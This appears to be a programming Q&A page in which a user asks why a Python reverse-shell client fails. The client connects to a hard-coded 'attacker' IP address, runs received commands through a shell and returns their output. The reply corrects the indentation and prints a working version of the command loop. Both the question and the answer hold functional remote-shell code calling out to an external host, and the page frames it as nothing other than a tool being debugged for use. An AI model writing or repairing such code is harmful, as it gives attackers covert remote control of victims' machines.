Marble Koberr
Marble Koberr

Reputation: 21

Python - subprocess

I've created a python-program to let the server get the client cmd. But there are some problems in it. My server works, it is listening, but I don't know if the shell is working because there is a fault with my client.

#! /bin/usr/python
import socket, subprocess

HOST = '81.82.40.78'
PORT = 443

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to server (attacker)
s.connect((HOST, PORT))

# Send we are connected
s.send('Connect established')

# start loop
while 1:
    # Receive shell command
    data = s.recv(1024)
    # Convert to string in case of it being an integer
    # if it's quit, then break out and close socket
    if data == "quit": break
    # Do shell command
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        # Read output
        stdout_value = proc.stdout.read() + proc.stderr.read()
        # Send output to server
        s.send(stdout_value)
    # Close socket
    s.close()

The mistake that is given to me is:

proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

There is a problem with the name - how do I go about fixing this?

Upvotes: 1

Views: 2400

Answers (1)

Martijn Pieters
Martijn Pieters

Reputation: 1124718

You need to fix your indentation after the if statement (which you limited to one line only). I moved the break to the next line, indented properly, illustrate:

while 1:
    # Receive shell command
    data = s.recv(1024)
    # Convert to string in case of it being an integer
    # if it's quit, then break out and close socket
    if data == "quit":
        break
    # Do shell command
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    # Read output
    stdout_value = proc.stdout.read() + proc.stderr.read()
    # Send output to server
    s.send(stdout_value)
# Close socket
s.close()

Note that you had indented everything from the if line onwards one indent too many, including the s.close() statement that belongs outside of the while loop.

Upvotes: 2

Related Questions